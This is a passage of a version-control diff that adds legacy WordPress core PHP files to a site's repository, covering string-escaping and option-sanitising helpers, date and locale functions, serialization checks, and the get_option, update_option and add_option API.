+	return esc_attr( $text );
+}
+
+/**
+ * Escape a HTML tag name.
+ *
+ * @since 2.5.0
+ *
+ * @param string $tag_name
+ * @return string
+ */
+function tag_escape($tag_name) {
+	$safe_tag = strtolower( preg_replace('/[^a-zA-Z_:]/', '', $tag_name) );
+	return apply_filters('tag_escape', $safe_tag, $tag_name);
+}
+
+/**
+ * Escapes text for SQL LIKE special characters % and _.
+ *
+ * @since 2.5.0
+ *
+ * @param string $text The text to be escaped.
+ * @return string text, safe for inclusion in LIKE query.
+ */
+function like_escape($text) {
+	return str_replace(array("%", "_"), array("\\%", "\\_"), $text);
+}
+
+/**
+ * Convert full URL paths to absolute paths.
+ *
+ * Removes the http or https protocols and the domain. Keeps the path '/' at the
+ * beginning, so it isn't a true relative link, but from the web root base.
+ *
+ * @since 2.1.0
+ *
+ * @param string $link Full URL path.
+ * @return string Absolute path.
+ */
+function wp_make_link_relative( $link ) {
+	return preg_replace( '|https?://[^/]+(/.*)|i', '$1', $link );
+}
+
+/**
+ * Sanitises various option values based on the nature of the option.
+ *
+ * This is basically a switch statement which will pass $value through a number
+ * of functions depending on the $option.
+ *
+ * @since 2.0.5
+ *
+ * @param string $option The name of the option.
+ * @param string $value The unsanitised value.
+ * @return string Sanitized value.
+ */
+function sanitize_option($option, $value) {
+
+	switch ($option) {
+		case 'admin_email':
+			$value = sanitize_email($value);
+			break;
+
+		case 'thumbnail_size_w':
+		case 'thumbnail_size_h':
+		case 'medium_size_w':
+		case 'medium_size_h':
+		case 'large_size_w':
+		case 'large_size_h':
+		case 'default_post_edit_rows':
+		case 'mailserver_port':
+		case 'comment_max_links':
+		case 'page_on_front':
+		case 'rss_excerpt_length':
+		case 'default_category':
+		case 'default_email_category':
+		case 'default_link_category':
+		case 'close_comments_days_old':
+		case 'comments_per_page':
+		case 'thread_comments_depth':
+			$value = abs((int) $value);
+			break;
+
+		case 'posts_per_page':
+		case 'posts_per_rss':
+			$value = (int) $value;
+			if ( empty($value) ) $value = 1;
+			if ( $value < -1 ) $value = abs($value);
+			break;
+
+		case 'default_ping_status':
+		case 'default_comment_status':
+			// Options that if not there have 0 value but need to be something like "closed"
+			if ( $value == '0' || $value == '')
+				$value = 'closed';
+			break;
+
+		case 'blogdescription':
+		case 'blogname':
+			$value = addslashes($value);
+			$value = wp_filter_post_kses( $value ); // calls stripslashes then addslashes
+			$value = stripslashes($value);
+			$value = esc_html( $value );
+			break;
+
+		case 'blog_charset':
+			$value = preg_replace('/[^a-zA-Z0-9_-]/', '', $value); // strips slashes
+			break;
+
+		case 'date_format':
+		case 'time_format':
+		case 'mailserver_url':
+		case 'mailserver_login':
+		case 'mailserver_pass':
+		case 'ping_sites':
+		case 'upload_path':
+			$value = strip_tags($value);
+			$value = addslashes($value);
+			$value = wp_filter_kses($value); // calls stripslashes then addslashes
+			$value = stripslashes($value);
+			break;
+
+		case 'gmt_offset':
+			$value = preg_replace('/[^0-9:.-]/', '', $value); // strips slashes
+			break;
+
+		case 'siteurl':
+		case 'home':
+			$value = stripslashes($value);
+			$value = esc_url($value);
+			break;
+		default :
+			$value = apply_filters("sanitize_option_{$option}", $value, $option);
+			break;
+	}
+
+	return $value;
+}
+
+/**
+ * Parses a string into variables to be stored in an array.
+ *
+ * Uses {@link http://www.php.net/parse_str parse_str()} and stripslashes if
+ * {@link http://www.php.net/magic_quotes magic_quotes_gpc} is on.
+ *
+ * @since 2.2.1
+ * @uses apply_filters() for the 'wp_parse_str' filter.
+ *
+ * @param string $string The string to be parsed.
+ * @param array $array Variables will be stored in this array.
+ */
+function wp_parse_str( $string, &$array ) {
+	parse_str( $string, $array );
+	if ( get_magic_quotes_gpc() )
+		$array = stripslashes_deep( $array );
+	$array = apply_filters( 'wp_parse_str', $array );
+}
+
+/**
+ * Convert lone less than signs.
+ *
+ * KSES already converts lone greater than signs.
+ *
+ * @uses wp_pre_kses_less_than_callback in the callback function.
+ * @since 2.3.0
+ *
+ * @param string $text Text to be converted.
+ * @return string Converted text.
+ */
+function wp_pre_kses_less_than( $text ) {
+	return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', 'wp_pre_kses_less_than_callback', $text);
+}
+
+/**
+ * Callback function used by preg_replace.
+ *
+ * @uses esc_html to format the $matches text.
+ * @since 2.3.0
+ *
+ * @param array $matches Populated by matches to preg_replace.
+ * @return string The text returned after esc_html if needed.
+ */
+function wp_pre_kses_less_than_callback( $matches ) {
+	if ( false === strpos($matches[0], '>') )
+		return esc_html($matches[0]);
+	return $matches[0];
+}
+
+/**
+ * WordPress implementation of PHP sprintf() with filters.
+ *
+ * @since 2.5.0
+ * @link http://www.php.net/sprintf
+ *
+ * @param string $pattern The string which formatted args are inserted.
+ * @param mixed $args,... Arguments to be formatted into the $pattern string.
+ * @return string The formatted string.
+ */
+function wp_sprintf( $pattern ) {
+	$args = func_get_args( );
+	$len = strlen($pattern);
+	$start = 0;
+	$result = '';
+	$arg_index = 0;
+	while ( $len > $start ) {
+		// Last character: append and break
+		if ( strlen($pattern) - 1 == $start ) {
+			$result .= substr($pattern, -1);
+			break;
+		}
+
+		// Literal %: append and continue
+		if ( substr($pattern, $start, 2) == '%%' ) {
+			$start += 2;
+			$result .= '%';
+			continue;
+		}
+
+		// Get fragment before next %
+		$end = strpos($pattern, '%', $start + 1);
+		if ( false === $end )
+			$end = $len;
+		$fragment = substr($pattern, $start, $end - $start);
+
+		// Fragment has a specifier
+		if ( $pattern{$start} == '%' ) {
+			// Find numbered arguments or take the next one in order
+			if ( preg_match('/^%(\d+)\$/', $fragment, $matches) ) {
+				$arg = isset($args[$matches[1]]) ? $args[$matches[1]] : '';
+				$fragment = str_replace("%{$matches[1]}$", '%', $fragment);
+			} else {
+				++$arg_index;
+				$arg = isset($args[$arg_index]) ? $args[$arg_index] : '';
+			}
+
+			// Apply filters OR sprintf
+			$_fragment = apply_filters( 'wp_sprintf', $fragment, $arg );
+			if ( $_fragment != $fragment )
+				$fragment = $_fragment;
+			else
+				$fragment = sprintf($fragment, strval($arg) );
+		}
+
+		// Append to result and move to next fragment
+		$result .= $fragment;
+		$start = $end;
+	}
+	return $result;
+}
+
+/**
+ * Localize list items before the rest of the content.
+ *
+ * The '%l' must be at the first characters can then contain the rest of the
+ * content. The list items will have ', ', ', and', and ' and ' added depending
+ * on the amount of list items in the $args parameter.
+ *
+ * @since 2.5.0
+ *
+ * @param string $pattern Content containing '%l' at the beginning.
+ * @param array $args List items to prepend to the content and replace '%l'.
+ * @return string Localized list items and rest of the content.
+ */
+function wp_sprintf_l($pattern, $args) {
+	// Not a match
+	if ( substr($pattern, 0, 2) != '%l' )
+		return $pattern;
+
+	// Nothing to work with
+	if ( empty($args) )
+		return '';
+
+	// Translate and filter the delimiter set (avoid ampersands and entities here)
+	$l = apply_filters('wp_sprintf_l', array(
+		/* translators: used between list items, there is a space after the coma */
+		'between'          => __(', '),
+		/* translators: used between list items, there is a space after the and */
+		'between_last_two' => __(', and '),
+		/* translators: used between only two list items, there is a space after the and */
+		'between_only_two' => __(' and '),
+		));
+
+	$args = (array) $args;
+	$result = array_shift($args);
+	if ( count($args) == 1 )
+		$result .= $l['between_only_two'] . array_shift($args);
+	// Loop when more than two args
+	$i = count($args);
+	while ( $i ) {
+		$arg = array_shift($args);
+		$i--;
+		if ( 0 == $i )
+			$result .= $l['between_last_two'] . $arg;
+		else
+			$result .= $l['between'] . $arg;
+	}
+	return $result . substr($pattern, 2);
+}
+
+/**
+ * Safely extracts not more than the first $count characters from html string.
+ *
+ * UTF-8, tags and entities safe prefix extraction. Entities inside will *NOT*
+ * be counted as one character. For example &amp; will be counted as 4, &lt; as
+ * 3, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param integer $str String to get the excerpt from.
+ * @param integer $count Maximum number of characters to take.
+ * @return string The excerpt.
+ */
+function wp_html_excerpt( $str, $count ) {
+	$str = strip_tags( $str );
+	$str = mb_substr( $str, 0, $count );
+	// remove part of an entity at the end
+	$str = preg_replace( '/&[^;\s]{0,6}$/', '', $str );
+	return $str;
+}
+
+/**
+ * Add a Base url to relative links in passed content.
+ *
+ * By default it supports the 'src' and 'href' attributes. However this can be
+ * changed via the 3rd param.
+ *
+ * @since 2.7.0
+ *
+ * @param string $content String to search for links in.
+ * @param string $base The base URL to prefix to links.
+ * @param array $attrs The attributes which should be processed.
+ * @return string The processed content.
+ */
+function links_add_base_url( $content, $base, $attrs = array('src', 'href') ) {
+	$attrs = implode('|', (array)$attrs);
+	return preg_replace_callback("!($attrs)=(['\"])(.+?)\\2!i",
+			create_function('$m', 'return _links_add_base($m, "' . $base . '");'),
+			$content);
+}
+
+/**
+ * Callback to add a base url to relative links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param string $m The matched link.
+ * @param string $base The base URL to prefix to links.
+ * @return string The processed link.
+ */
+function _links_add_base($m, $base) {
+	//1 = attribute name  2 = quotation mark  3 = URL
+	return $m[1] . '=' . $m[2] .
+		(strpos($m[3], 'http://') === false ?
+			path_join($base, $m[3]) :
+			$m[3])
+		. $m[2];
+}
+
+/**
+ * Adds a Target attribute to all links in passed content.
+ *
+ * This function by default only applies to <a> tags, however this can be
+ * modified by the 3rd param.
+ *
+ * <b>NOTE:</b> Any current target attributed will be striped and replaced.
+ *
+ * @since 2.7.0
+ *
+ * @param string $content String to search for links in.
+ * @param string $target The Target to add to the links.
+ * @param array $tags An array of tags to apply to.
+ * @return string The processed content.
+ */
+function links_add_target( $content, $target = '_blank', $tags = array('a') ) {
+	$tags = implode('|', (array)$tags);
+	return preg_replace_callback("!<($tags)(.+?)>!i",
+			create_function('$m', 'return _links_add_target($m, "' . $target . '");'),
+			$content);
+}
+/**
+ * Callback to add a target attribute to all links in passed content.
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @param string $m The matched link.
+ * @param string $target The Target to add to the links.
+ * @return string The processed link.
+ */
+function _links_add_target( $m, $target ) {
+	$tag = $m[1];
+	$link = preg_replace('|(target=[\'"](.*?)[\'"])|i', '', $m[2]);
+	return '<' . $tag . $link . ' target="' . $target . '">';
+}
+
+// normalize EOL characters and strip duplicate whitespace
+function normalize_whitespace( $str ) {
+	$str  = trim($str);
+	$str  = str_replace("\r", "\n", $str);
+	$str  = preg_replace( array( '/\n+/', '/[ \t]+/' ), array( "\n", ' ' ), $str );
+	return $str;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/functions.php	(revision 44)
@@ -0,0 +1,3342 @@
+<?php
+/**
+ * Main WordPress API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Converts MySQL DATETIME field to user specified date format.
+ *
+ * If $dateformatstring has 'G' value, then gmmktime() function will be used to
+ * make the time. If $dateformatstring is set to 'U', then mktime() function
+ * will be used to make the time.
+ *
+ * The $translate will only be used, if it is set to true and it is by default
+ * and if the $wp_locale object has the month and weekday set.
+ *
+ * @since 0.71
+ *
+ * @param string $dateformatstring Either 'G', 'U', or php date format.
+ * @param string $mysqlstring Time from mysql DATETIME field.
+ * @param bool $translate Optional. Default is true. Will switch format to locale.
+ * @return string Date formated by $dateformatstring or locale (if available).
+ */
+function mysql2date( $dateformatstring, $mysqlstring, $translate = true ) {
+	global $wp_locale;
+	$m = $mysqlstring;
+	if ( empty( $m ) )
+		return false;
+
+	if( 'G' == $dateformatstring ) {
+		return strtotime( $m . ' +0000' );
+	}
+
+	$i = strtotime( $m );
+
+	if( 'U' == $dateformatstring )
+		return $i;
+
+	if ( $translate)
+	    return date_i18n( $dateformatstring, $i );
+	else
+	    return date( $dateformatstring, $i );
+}
+
+/**
+ * Retrieve the current time based on specified type.
+ *
+ * The 'mysql' type will return the time in the format for MySQL DATETIME field.
+ * The 'timestamp' type will return the current timestamp.
+ *
+ * If $gmt is set to either '1' or 'true', then both types will use GMT time.
+ * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
+ *
+ * @since 1.0.0
+ *
+ * @param string $type Either 'mysql' or 'timestamp'.
+ * @param int|bool $gmt Optional. Whether to use GMT timezone. Default is false.
+ * @return int|string String if $type is 'gmt', int if $type is 'timestamp'.
+ */
+function current_time( $type, $gmt = 0 ) {
+	switch ( $type ) {
+		case 'mysql':
+			return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * 3600 ) ) );
+			break;
+		case 'timestamp':
+			return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * 3600 );
+			break;
+	}
+}
+
+/**
+ * Retrieve the date in localized format, based on timestamp.
+ *
+ * If the locale specifies the locale month and weekday, then the locale will
+ * take over the format for the date. If it isn't, then the date format string
+ * will be used instead.
+ *
+ * @since 0.71
+ *
+ * @param string $dateformatstring Format to display the date.
+ * @param int $unixtimestamp Optional. Unix timestamp.
+ * @param bool $gmt Optional, default is false. Whether to convert to GMT for time.
+ * @return string The date, translated if locale specifies it.
+ */
+function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
+	global $wp_locale;
+	$i = $unixtimestamp;
+	// Sanity check for PHP 5.1.0-
+	if ( false === $i || intval($i) < 0 ) {
+		if ( ! $gmt )
+			$i = current_time( 'timestamp' );
+		else
+			$i = time();
+		// we should not let date() interfere with our
+		// specially computed timestamp
+		$gmt = true;
+	}
+
+	// store original value for language with untypical grammars
+	// see http://core.trac.wordpress.org/ticket/9396
+	$req_format = $dateformatstring;
+
+	$datefunc = $gmt? 'gmdate' : 'date';
+
+	if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
+		$datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );
+		$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
+		$dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );
+		$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
+		$datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );
+		$datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) );
+		$dateformatstring = ' '.$dateformatstring;
+		$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
+
+		$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
+	}
+	$j = @$datefunc( $dateformatstring, $i );
+	// allow plugins to redo this entirely for languages with untypical grammars
+	$j = apply_filters('date_i18n', $j, $req_format, $i, $gmt);
+	return $j;
+}
+
+/**
+ * Convert number to format based on the locale.
+ *
+ * @since 2.3.0
+ *
+ * @param mixed $number The number to convert based on locale.
+ * @param int $decimals Precision of the number of decimal places.
+ * @return string Converted number in string format.
+ */
+function number_format_i18n( $number, $decimals = null ) {
+	global $wp_locale;
+	// let the user override the precision only
+	$decimals = ( is_null( $decimals ) ) ? $wp_locale->number_format['decimals'] : intval( $decimals );
+
+	$num = number_format( $number, $decimals, $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
+
+	// let the user translate digits from latin to localized language
+	return apply_filters( 'number_format_i18n', $num );
+}
+
+/**
+ * Convert number of bytes largest unit bytes will fit into.
+ *
+ * It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts
+ * number of bytes to human readable number by taking the number of that unit
+ * that the bytes will go into it. Supports TB value.
+ *
+ * Please note that integers in PHP are limited to 32 bits, unless they are on
+ * 64 bit architecture, then they have 64 bit size. If you need to place the
+ * larger size then what PHP integer type will hold, then use a string. It will
+ * be converted to a double, which should always have 64 bit length.
+ *
+ * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
+ * @link http://en.wikipedia.org/wiki/Byte
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $bytes Number of bytes. Note max integer size for integers.
+ * @param int $decimals Precision of number of decimal places.
+ * @return bool|string False on failure. Number string on success.
+ */
+function size_format( $bytes, $decimals = null ) {
+	$quant = array(
+		// ========================= Origin ====
+		'TB' => 1099511627776,  // pow( 1024, 4)
+		'GB' => 1073741824,     // pow( 1024, 3)
+		'MB' => 1048576,        // pow( 1024, 2)
+		'kB' => 1024,           // pow( 1024, 1)
+		'B ' => 1,              // pow( 1024, 0)
+	);
+
+	foreach ( $quant as $unit => $mag )
+		if ( doubleval($bytes) >= $mag )
+			return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
+
+	return false;
+}
+
+/**
+ * Get the week start and end from the datetime or date string from mysql.
+ *
+ * @since 0.71
+ *
+ * @param string $mysqlstring Date or datetime field type from mysql.
+ * @param int $start_of_week Optional. Start of the week as an integer.
+ * @return array Keys are 'start' and 'end'.
+ */
+function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
+	$my = substr( $mysqlstring, 0, 4 ); // Mysql string Year
+	$mm = substr( $mysqlstring, 8, 2 ); // Mysql string Month
+	$md = substr( $mysqlstring, 5, 2 ); // Mysql string day
+	$day = mktime( 0, 0, 0, $md, $mm, $my ); // The timestamp for mysqlstring day.
+	$weekday = date( 'w', $day ); // The day of the week from the timestamp
+	$i = 86400; // One day
+	if( !is_numeric($start_of_week) )
+		$start_of_week = get_option( 'start_of_week' );
+
+	if ( $weekday < $start_of_week )
+		$weekday = 7 - $start_of_week - $weekday;
+
+	while ( $weekday > $start_of_week ) {
+		$weekday = date( 'w', $day );
+		if ( $weekday < $start_of_week )
+			$weekday = 7 - $start_of_week - $weekday;
+
+		$day -= 86400;
+		$i = 0;
+	}
+	$week['start'] = $day + 86400 - $i;
+	$week['end'] = $week['start'] + 604799;
+	return $week;
+}
+
+/**
+ * Unserialize value only if it was serialized.
+ *
+ * @since 2.0.0
+ *
+ * @param string $original Maybe unserialized original, if is needed.
+ * @return mixed Unserialized data can be any type.
+ */
+function maybe_unserialize( $original ) {
+	if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
+		return @unserialize( $original );
+	return $original;
+}
+
+/**
+ * Check value to find if it was serialized.
+ *
+ * If $data is not an string, then returned value will always be false.
+ * Serialized data is always a string.
+ *
+ * @since 2.0.5
+ *
+ * @param mixed $data Value to check to see if was serialized.
+ * @return bool False if not serialized and true if it was.
+ */
+function is_serialized( $data ) {
+	// if it isn't a string, it isn't serialized
+	if ( !is_string( $data ) )
+		return false;
+	$data = trim( $data );
+	if ( 'N;' == $data )
+		return true;
+	if ( !preg_match( '/^([adObis]):/', $data, $badions ) )
+		return false;
+	switch ( $badions[1] ) {
+		case 'a' :
+		case 'O' :
+		case 's' :
+			if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
+				return true;
+			break;
+		case 'b' :
+		case 'i' :
+		case 'd' :
+			if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) )
+				return true;
+			break;
+	}
+	return false;
+}
+
+/**
+ * Check whether serialized data is of string type.
+ *
+ * @since 2.0.5
+ *
+ * @param mixed $data Serialized data
+ * @return bool False if not a serialized string, true if it is.
+ */
+function is_serialized_string( $data ) {
+	// if it isn't a string, it isn't a serialized string
+	if ( !is_string( $data ) )
+		return false;
+	$data = trim( $data );
+	if ( preg_match( '/^s:[0-9]+:.*;$/s', $data ) ) // this should fetch all serialized strings
+		return true;
+	return false;
+}
+
+/**
+ * Retrieve option value based on setting name.
+ *
+ * If the option does not exist or does not have a value, then the return value
+ * will be false. This is useful to check whether you need to install an option
+ * and is commonly used during installation of plugin options and to test
+ * whether upgrading is required.
+ *
+ * You can "short-circuit" the retrieval of the option from the database for
+ * your plugin or core options that aren't protected. You can do so by hooking
+ * into the 'pre_option_$option' with the $option being replaced by the option
+ * name. You should not try to override special options, but you will not be
+ * prevented from doing so.
+ *
+ * There is a second filter called 'option_$option' with the $option being
+ * replaced with the option name. This gives the value as the only parameter.
+ *
+ * If the option was serialized, when the option was added and, or updated, then
+ * it will be unserialized, when it is returned.
+ *
+ * @since 1.5.0
+ * @package WordPress
+ * @subpackage Option
+ * @uses apply_filters() Calls 'pre_option_$optionname' false to allow
+ *		overwriting the option value in a plugin.
+ * @uses apply_filters() Calls 'option_$optionname' with the option name value.
+ *
+ * @param string $setting Name of option to retrieve. Should already be SQL-escaped
+ * @return mixed Value set for the option.
+ */
+function get_option( $setting, $default = false ) {
+	global $wpdb;
+
+	// Allow plugins to short-circuit options.
+	$pre = apply_filters( 'pre_option_' . $setting, false );
+	if ( false !== $pre )
+		return $pre;
+
+	// prevent non-existent options from triggering multiple queries
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( isset( $notoptions[$setting] ) )
+		return $default;
+
+	$alloptions = wp_load_alloptions();
+
+	if ( isset( $alloptions[$setting] ) ) {
+		$value = $alloptions[$setting];
+	} else {
+		$value = wp_cache_get( $setting, 'options' );
+
+		if ( false === $value ) {
+			if ( defined( 'WP_INSTALLING' ) )
+				$suppress = $wpdb->suppress_errors();
+			// expected_slashed ($setting)
+			$row = $wpdb->get_row( "SELECT option_value FROM $wpdb->options WHERE option_name = '$setting' LIMIT 1" );
+			if ( defined( 'WP_INSTALLING' ) )
+				$wpdb->suppress_errors($suppress);
+
+			if ( is_object( $row) ) { // Has to be get_row instead of get_var because of funkiness with 0, false, null values
+				$value = $row->option_value;
+				wp_cache_add( $setting, $value, 'options' );
+			} else { // option does not exist, so we must cache its non-existence
+				$notoptions[$setting] = true;
+				wp_cache_set( 'notoptions', $notoptions, 'options' );
+				return $default;
+			}
+		}
+	}
+
+	// If home is not set use siteurl.
+	if ( 'home' == $setting && '' == $value )
+		return get_option( 'siteurl' );
+
+	if ( in_array( $setting, array('siteurl', 'home', 'category_base', 'tag_base') ) )
+		$value = untrailingslashit( $value );
+
+	return apply_filters( 'option_' . $setting, maybe_unserialize( $value ) );
+}
+
+/**
+ * Protect WordPress special option from being modified.
+ *
+ * Will die if $option is in protected list. Protected options are 'alloptions'
+ * and 'notoptions' options.
+ *
+ * @since 2.2.0
+ * @package WordPress
+ * @subpackage Option
+ *
+ * @param string $option Option name.
+ */
+function wp_protect_special_option( $option ) {
+	$protected = array( 'alloptions', 'notoptions' );
+	if ( in_array( $option, $protected ) )
+		die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) );
+}
+
+/**
+ * Print option value after sanitizing for forms.
+ *
+ * @uses attr Sanitizes value.
+ * @since 1.5.0
+ * @package WordPress
+ * @subpackage Option
+ *
+ * @param string $option Option name.
+ */
+function form_option( $option ) {
+	echo esc_attr(get_option( $option ) );
+}
+
+/**
+ * Retrieve all autoload options or all options, if no autoloaded ones exist.
+ *
+ * This is different from wp_load_alloptions() in that this function does not
+ * cache its results and will retrieve all options from the database every time
+ *
+ * it is called.
+ *
+ * @since 1.0.0
+ * @package WordPress
+ * @subpackage Option
+ * @uses apply_filters() Calls 'pre_option_$optionname' hook with option value as parameter.
+ * @uses apply_filters() Calls 'all_options' on options list.
+ *
+ * @return array List of all options.
+ */
+function get_alloptions() {
+	global $wpdb;
+	$show = $wpdb->hide_errors();
+	if ( !$options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) )
+		$options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
+	$wpdb->show_errors($show);
+
+	foreach ( (array) $options as $option ) {
+		// "When trying to design a foolproof system,
+		//  never underestimate the ingenuity of the fools :)" -- Dougal
+		if ( in_array( $option->option_name, array( 'siteurl', 'home', 'category_base', 'tag_base' ) ) )
+			$option->option_value = untrailingslashit( $option->option_value );
+		$value = maybe_unserialize( $option->option_value );
+		$all_options->{$option->option_name} = apply_filters( 'pre_option_' . $option->option_name, $value );
+	}
+	return apply_filters( 'all_options', $all_options );
+}
+
+/**
+ * Loads and caches all autoloaded options, if available or all options.
+ *
+ * This is different from get_alloptions(), in that this function will cache the
+ * options and will return the cached options when called again.
+ *
+ * @since 2.2.0
+ * @package WordPress
+ * @subpackage Option
+ *
+ * @return array List all options.
+ */
+function wp_load_alloptions() {
+	global $wpdb;
+
+	$alloptions = wp_cache_get( 'alloptions', 'options' );
+
+	if ( !$alloptions ) {
+		$suppress = $wpdb->suppress_errors();
+		if ( !$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) )
+			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
+		$wpdb->suppress_errors($suppress);
+		$alloptions = array();
+		foreach ( (array) $alloptions_db as $o )
+			$alloptions[$o->option_name] = $o->option_value;
+		wp_cache_add( 'alloptions', $alloptions, 'options' );
+	}
+	return $alloptions;
+}
+
+/**
+ * Update the value of an option that was already added.
+ *
+ * You do not need to serialize values, if the value needs to be serialize, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * If the option does not exist, then the option will be added with the option
+ * value, but you will not be able to set whether it is autoloaded. If you want
+ * to set whether an option autoloaded, then you need to use the add_option().
+ *
+ * Before the option is updated, then the filter named
+ * 'pre_update_option_$option_name', with the $option_name as the $option_name
+ * parameter value, will be called. The hook should accept two parameters, the
+ * first is the new value and the second is the old value.  Whatever is
+ * returned will be used as the new value.
+ *
+ * After the value has been updated the action named 'update_option_$option_name'
+ * will be called.  This action receives two parameters the first being the old
+ * value and the second the new value.
+ *
+ * @since 1.0.0
+ * @package WordPress
+ * @subpackage Option
+ *
+ * @param string $option_name Option name. Expected to not be SQL-escaped
+ * @param mixed $newvalue Option value.
+ * @return bool False if value was not updated and true if value was updated.
+ */
+function update_option( $option_name, $newvalue ) {
+	global $wpdb;
+
+	wp_protect_special_option( $option_name );
+
+	$safe_option_name = $wpdb->escape( $option_name );
+	$newvalue = sanitize_option( $option_name, $newvalue );
+
+	$oldvalue = get_option( $safe_option_name );
+
+	$newvalue = apply_filters( 'pre_update_option_' . $option_name, $newvalue, $oldvalue );
+
+	// If the new and old values are the same, no need to update.
+	if ( $newvalue === $oldvalue )
+		return false;
+
+	if ( false === $oldvalue ) {
+		add_option( $option_name, $newvalue );
+		return true;
+	}
+
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( is_array( $notoptions ) && isset( $notoptions[$option_name] ) ) {
+		unset( $notoptions[$option_name] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	$_newvalue = $newvalue;
+	$newvalue = maybe_serialize( $newvalue );
+
+	$alloptions = wp_load_alloptions();
+	if ( isset( $alloptions[$option_name] ) ) {
+		$alloptions[$option_name] = $newvalue;
+		wp_cache_set( 'alloptions', $alloptions, 'options' );
+	} else {
+		wp_cache_set( $option_name, $newvalue, 'options' );
+	}
+
+	$wpdb->update($wpdb->options, array('option_value' => $newvalue), array('option_name' => $option_name) );
+
+	if ( $wpdb->rows_affected == 1 ) {
+		do_action( "update_option_{$option_name}", $oldvalue, $_newvalue );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Add a new option.
+ *
+ * You do not need to serialize values, if the value needs to be serialize, then
+ * it will be serialized before it is inserted into the database. Remember,
+ * resources can not be serialized or added as an option.
+ *
+ * You can create options without values and then add values later. Does not
+ * check whether the option has already been added, but does check that you
+ * aren't adding a protected WordPress option. Care should be taken to not name
+ * options, the same as the ones which are protected and to not add options
+ * that were already added.
+ *
+ * The filter named 'add_option_$optionname', with the $optionname being
+ * replaced with the option's name, will be called. The hook should accept two
+ * parameters, the first is the option name, and the second is the value.
+ *
+ * @package WordPress
+ * @subpackage Option
+ * @since 1.0.0
+ * @link http://alex.vort-x.net/blog/ Thanks Alex Stapleton
+ *
+ * @param string $name Option name to add. Expects to NOT be SQL escaped.
+ * @param mixed $value Optional. Option value, can be anything.
+ * @param mixed $deprecated Optional. Description. Not used anymore.
+ * @param bool $autoload Optional. Default is enabled. Whether to load the option when WordPress starts up.
+ * @return null returns when finished.
+ */
+function add_option( $name, $value = '', $deprecated = '', $autoload = 'yes' ) {
+	global $wpdb;
+
+	wp_protect_special_option( $name );
+	$safe_name = $wpdb->escape( $name );
+	$value = sanitize_option( $name, $value );
+
+	// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
+	$notoptions = wp_cache_get( 'notoptions', 'options' );
+	if ( !is_array( $notoptions ) || !isset( $notoptions[$name] ) )
+		if ( false !== get_option( $safe_name ) )
+			return;
+
+	$value = maybe_serialize( $value );
+	$autoload = ( 'no' === $autoload ) ? 'no' : 'yes';
+
+	if ( 'yes' == $autoload ) {
+		$alloptions = wp_load_alloptions();
+		$alloptions[$name] = $value;
+		wp_cache_set( 'alloptions', $alloptions, 'options' );
+	} else {
+		wp_cache_set( $name, $value, 'options' );
+	}
+
+	// This option exists now
+	$notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh
+	if ( is_array( $notoptions ) && isset( $notoptions[$name] ) ) {
+		unset( $notoptions[$name] );
+		wp_cache_set( 'notoptions', $notoptions, 'options' );
+	}
+
+	$wpdb->insert($wpdb->options, array('option_name' => $name, 'option_value' => $value, 'autoload' => $autoload) );
+
+	do_action( "add_option_{$name}", $name, $value );
+	return;
+}
+
+/**
